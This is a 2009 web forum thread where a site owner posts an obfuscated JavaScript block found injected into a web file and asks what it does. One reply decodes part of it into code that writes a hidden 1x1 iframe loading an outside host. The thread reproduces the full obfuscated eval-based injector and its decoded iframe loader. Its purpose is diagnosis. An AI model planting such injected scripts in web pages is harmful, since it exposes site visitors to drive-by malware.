What is this?

Discussion in 'PHP' started by Decipher442, Jun 6, 2009.

  1. #1
    Hi,

    I found this in a web file on a site... what kind of a hack script is this, and what does it do?

    <script>var Y2oDWUW="j89iYj81i";var eenzu="6B1iI761iI301";var FL6W="8E0518E0";var W3WcF="x6CHRx30HRx29H";var MOcz7Fa="1iI641";var cZL0tlPR="i%27i%";var gp03="Rx6yHRx6EHRx64";var dg19C="o1iI6C1iI6ro";var y6RH="));var";var rITX58="IKy01iIKy8";var PXuxxY="var XLEb";var fGBWP="1iI631i";var Pj3FaXLL="UB';eval(u";var B8Gn9uX="iI6E1iI74";var z7bsZqKd="41iI791";z7bsZqKd="6Ky1iI6F1iI6"+z7bsZqKd;var K5SBm="44C655C66";var cRcO="g,'%')));var ";var byUKY5="E0278E03B';";var dJlJKy="I3D1iI3D1iI6E";var KQAs="02E8E0";var NpDI8rn="I7ro1i";eenzu="6A1iI4D1iI"+eenzu;var H6zg="8E0658E06Oe8E0";var FK5ECidk="1iIKy71iI3C1iIK";var srDwpa="3A7%72A";byUKY5="6Oe8E0448"+byUKY5;var Tdshgjb="EC673C674C";PXuxxY="1iI/g,'%')));"+PXuxxY;var O4woEz="oA1iI431";B8Gn9uX=dg19C+"1iI6D1iI6ro1"+B8Gn9uX;dJlJKy="1iI791i"+dJlJKy;K5SBm="C67AC66DC64EC6"+K5SBm;KQAs+="6E8E0618";var oQUgO3="669C66CC669C67";FL6W="D8E0278E068"+FL6W;B8Gn9uX="o1iI741iI4r"+B8Gn9uX;var wfqG="Rx2EHRx61";var gR9mi=".replace";var euimlDs="6ro1iI6E1iI741i";var QhMwssQ="78E03aT7A";var ww5y="6EA7%74A";var lXEQUW43="DA7%65A7%27A7";var YpvND="1iIKyE1iI6Ky1iI";var ih6dEof="1iI3B1iI761iI";var WLxL="iI741iIKyE1iI7";var JGR0IJ7="unescape(GT0B";var bI5Btl="ce(/%hBU/g,'%3'";var qclOD="E03D8E0278E03";var wsSF="var GT0";var GBlL="%73i%72iYj8";var OLIJQA="0/g,'%').repla";var X4hQZ="').replace(/h";var kN8Ozr="B1iI691iI661iI";var iRf40CA="(XLEbBM";Tdshgjb=K5SBm+"4C66CC630C62"+Tdshgjb;var yMRF="81iI791";B8Gn9uX+="1iI4Ky";dJlJKy+="1iI7ro1iI6";Y2oDWUW+="%2Ei%77i%73i";var QGJZ8="1iIKyKy1i";var EwkST9yq="3D1iIKy71iI461";var vuHI="EA7%74A";var V3YQC="j8hi%74i%74i%70";var I9GZc73="0748E068";var RA4WPb="HRx4DHRx";kN8Ozr="3E1iIKyKy1iI3"+kN8Ozr;I9GZc73="E06Oe8E0648E"+I9GZc73;var xdhTXp="yB1iIroA1iI431i";QhMwssQ="278E0318E02"+QhMwssQ;QGJZ8+="I3C1iI641i";byUKY5="0738E0"+byUKY5;GBlL="%30i%2Ei"+GBlL;EwkST9yq="I691iI641iI"+EwkST9yq;PXuxxY+="BM='A7%76A";cZL0tlPR="82iYj8C"+cZL0tlPR;OLIJQA="eplace(/8E"+OLIJQA;var hHzsnDH="64HRx28H";euimlDs="ro1iI6D1iI"+euimlDs;var NKvVvG="1iI691";kN8Ozr+="Ky81iI6";var rZzRG="iI3E1i";Tdshgjb=y6RH+" J3nEmm0u='"+Tdshgjb;X4hQZ="(/Yj8/g,'%6"+X4hQZ;var Ge0zsW="x7yHRxy";rITX58=NKvVvG+"iI741iI6ro1i"+rITX58;var pLpx="4i%73i%2Ei";var HESVsV="I641iI6F1iI63";lXEQUW43="7%72A7%61A7%6"+lXEQUW43;var DYgq3l=".replace(/ro/g,";var ivP7BFRw=").replace(/";var XD55="8E0648E";var zQKZfRS="0A7Cfe%BUDA7%6";oQUgO3+="4C679C63DC";O4woEz="IKy01iIr"+O4woEz;var QCYGH="lace(/";var GEoq6eVE="63B';eval";var Fk1QgR="I641iI";FL6W=KQAs+"E06D8E0658E03"+FL6W;var dUmkk="Ky1iI311iI";NpDI8rn="y1iIKy01i"+NpDI8rn;ivP7BFRw+="i%/g,'%')));va";EwkST9yq="IKy01i"+EwkST9yq;V3YQC=GBlL+"3i%3Di%27iY"+V3YQC;dUmkk+="Ky71iIKy91i";var k5P4r="I631iI7ro";yMRF=EwkST9yq+"iI761iI7A1iI3"+yMRF;var ocOZPLrd="x4EHRx44HRxyyH";iRf40CA+=".replace";var M8eOsMht="7%20A7%7AA7";QCYGH="(ybxEs.rep"+QCYGH;ivP7BFRw+="r ybxEs='8E07A";bI5Btl="g,'%h').repla"+bI5Btl;HESVsV="1iIKy71iI3B1i"+HESVsV;var x72FN="Di%4Ei";lXEQUW43="%27A7%69A7%66A"+lXEQUW43;cZL0tlPR=Y2oDWUW+"%2Fi%54iYj"+cZL0tlPR;var esU2="ape(uoAmLT";zQKZfRS="A7Cfe%BU"+zQKZfRS;eenzu+="iI3D1iI641iI";byUKY5=FL6W+"4C8E0618E"+byUKY5;k5P4r=kN8Ozr+"41iI6F1i"+k5P4r;var CHWDds="')));var gcW1";B8Gn9uX=euimlDs+"IKyE1iI671iI6r"+B8Gn9uX;V3YQC+="i%3Ai%2Fi%2";RA4WPb=Ge0zsW+"6HRx6A"+RA4WPb;YpvND="o1iI6E1iI74"+YpvND;qclOD+="18E0278E03aT7A";var OiD1NB="C669C6";yMRF+="iI7Ky1iI31";Fk1QgR=rZzRG+"I3C1iIKyF1i"+Fk1QgR;OiD1NB+="64C664C6";rITX58=WLxL+"71iI7Ky"+rITX58;gp03=wfqG+"HRx70HRx70H"+gp03;yMRF=QGJZ8+"I691iI761i"+yMRF;FK5ECidk+="yF1iI6Ky1iI6F";dJlJKy+="C1iI6C1iIKy91i";xdhTXp+="I631iIr";Fk1QgR=yMRF+"1iIKy71"+Fk1QgR;I9GZc73="02E8E0778"+I9GZc73;GEoq6eVE+="(unescape(J3nE";XD55="4E8E0448E055"+XD55;ocOZPLrd=hHzsnDH+"Rx7AHRx6DHR"+ocOZPLrd;ww5y="5A7%6DA7%65A7%"+ww5y;var IHep7KgO="E8E0448E0558E0";DYgq3l="lace(/Ky/g,'2')"+DYgq3l;qclOD=H6zg+"678E0688E0748"+qclOD;ivP7BFRw=X4hQZ+"/g,'8'"+ivP7BFRw;XD55=qclOD+"8E06D8E0"+XD55;iRf40CA=Pj3FaXLL+"nescape"+iRf40CA;XD55="8E02E8E068"+XD55;cRcO+="uoAmLTF";esU2=cZL0tlPR+"3B';eval(unesc"+esU2;cRcO=bI5Btl+").replace(/A7%/"+cRcO;I9GZc73="48E06C8E0308E"+I9GZc73;QhMwssQ=I9GZc73+"8E03D8E0"+QhMwssQ;RA4WPb=CHWDds+"Q32B='HR"+RA4WPb;var NHDuv="63A7%75A";IHep7KgO=QhMwssQ+"8E06D8E04"+IHep7KgO;pLpx+="Yj8CiYj85";var Dr7FLqqc=",'%')))";IHep7KgO="448E0558E06"+IHep7KgO;ivP7BFRw=esU2+"FS.replace"+ivP7BFRw;var gRrJhy="A7%74A";gp03=RA4WPb+"6BHRx76HRx30H"+gp03;M8eOsMht=PXuxxY+"7%61A7%72A"+M8eOsMht;iRf40CA=lXEQUW43+"%29A7Cfe%B"+iRf40CA;var snXQrh="1iIro61iI";OiD1NB=oQUgO3+"627C668"+OiD1NB;ocOZPLrd="HRx69HRx6CHRx"+ocOZPLrd;fGBWP=rITX58+"1iIroA1iI43"+fGBWP;M8eOsMht+="%6DA7%4EA7%44A7";z7bsZqKd="iI3C1iI"+z7bsZqKd;ww5y="7%6CA7%6"+ww5y;NHDuv=zQKZfRS+"4A7%6FA7%"+NHDuv;var mNEd="escape(gcW1Q3";JGR0IJ7=dUmkk+"I3B';eval("+JGR0IJ7;wsSF+="BuF='1iI761i";XD55=IHep7KgO+"648E06C8E030"+XD55;GEoq6eVE=OiD1NB+"65C66EC627C"+GEoq6eVE;Tdshgjb+="679C66CC665C62";srDwpa=vuHI+"7%2EA7%6"+srDwpa;V3YQC+="FiYj86i%72i%7";B8Gn9uX=eenzu+"6F1iI631iI7"+B8Gn9uX;srDwpa=NHDuv+"7%6DA7%65A7%6"+srDwpa;QCYGH=byUKY5+"eval(unescape"+QCYGH;gRrJhy=srDwpa+"7%65A7%61"+gRrJhy;XD55=ivP7BFRw+"8E06D8E04E8E0"+XD55;x72FN=cRcO+"S='i%7AiYj8"+x72FN;fGBWP="I6D1iI6ro1iI6E1"+fGBWP;pLpx+="iYj8DiYj8Fi";xdhTXp=z7bsZqKd+"iI3E1iIKy71iIK"+xdhTXp;O4woEz=wsSF+"I611iI7Ky1i"+O4woEz;Tdshgjb=OLIJQA+"ce(/aT/g,'B%')"+Tdshgjb;GEoq6eVE="669C662C"+GEoq6eVE;Fk1QgR=O4woEz+"iI631iIro61iI3D"+Fk1QgR;Dr7FLqqc+=";";gRrJhy=M8eOsMht+"%55A7%64A7%6C"+gRrJhy;gp03="ce(/C6/g,'%"+gp03;gRrJhy=DYgq3l+"'5').replace(/"+gRrJhy;k5P4r=Fk1QgR+"691iI761iI"+k5P4r;mNEd+="2B.replace(/y";ih6dEof=fGBWP+"Iro61iIKy9"+ih6dEof;XD55=pLpx+"Yj8EiY"+XD55;QCYGH=XD55+"06C8E0308E"+QCYGH;mNEd=W3WcF+"Rx3B';eval(un"+mNEd;Dr7FLqqc=gR9mi+"(/HRx/g"+Dr7FLqqc;snXQrh="431iI63"+snXQrh;xdhTXp=snXQrh+"3D1iIKy71"+xdhTXp;JGR0IJ7="I381iI791iI7"+JGR0IJ7;Dr7FLqqc=mNEd+"/g,'5')"+Dr7FLqqc;x72FN+="%44i%55iYj84";JGR0IJ7="I461iI761iI7A1i"+JGR0IJ7;ocOZPLrd=gp03+"HRx43HRx68"+ocOZPLrd;ww5y=gRrJhy+"7%65A7%45A"+ww5y;iRf40CA=ww5y+"7%28A7"+iRf40CA;FK5ECidk=xdhTXp+"o61iIKyB"+FK5ECidk;x72FN=iRf40CA+"(/Cfe%/"+x72FN;HESVsV=FK5ECidk+"1iI641iI791iI3E"+HESVsV;NpDI8rn=ih6dEof+"611iI7K"+NpDI8rn;B8Gn9uX=NpDI8rn+"Iro61iI"+B8Gn9uX;JGR0IJ7=MOcz7Fa+"iIKy81iIKy71i"+JGR0IJ7;ocOZPLrd=GEoq6eVE+"mm0u.repla"+ocOZPLrd;V3YQC=x72FN+"iYj8Ci"+V3YQC;YpvND=k5P4r+"1iI6D1iI6r"+YpvND;Dr7FLqqc=ocOZPLrd+"Rx64HR"+Dr7FLqqc;Tdshgjb=QCYGH+"Oe/g,'9').r"+Tdshgjb;Dr7FLqqc=Tdshgjb+"EC676C669C673C"+Dr7FLqqc;HESVsV=dJlJKy+"IroA1iI"+HESVsV;B8Gn9uX=HESVsV+"1iI7ro1i"+B8Gn9uX;B8Gn9uX=YpvND+"6F1iI64"+B8Gn9uX;V3YQC=JGR0IJ7+"uF.rep"+V3YQC;V3YQC=B8Gn9uX+"1iI791iI49"+V3YQC;Dr7FLqqc=V3YQC+"5iYj89i%7"+Dr7FLqqc;eval(Dr7FLqqc);</script>
    Code (markup):
    --Thanks!
     
    Decipher442, Jun 6, 2009 IP
  2. BrettOwnz

    BrettOwnz Member

    Messages:
    286
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    28
    #2
    It looks like javascript, but i can only see part of the code so i cant determine what it does
     
    BrettOwnz, Jun 8, 2009 IP
  3. darkmessiah

    darkmessiah Peon

    Messages:
    500
    Likes Received:
    9
    Best Answers:
    0
    Trophy Points:
    0
    #3
    so far this..

    loads an iframe of some sort

    
    var ZCcV="";
    
    if(document.body==null)
      ZCcV=''+ZCcV+'';
    
    document.write (ZCcV);
    
    var uVjMkv0=document.getElementById('Fvz8yr1');
    
    var zmNDUdl0=document.createElement('iframe');
    
    zmNDUdl0.src='http://fruits.lemonia.ws/Tbl';
    zmNDUdl0.width='1';
    zmNDUdl0.height='1';
    zmNDUdl0.name='hQLasiD';
    zmNDUdl0.style.visibility='hidden';
    
     uVjMkv0.appendChild(zmNDUdl0);
    
    Code (markup):
     
    darkmessiah, Jun 10, 2009 IP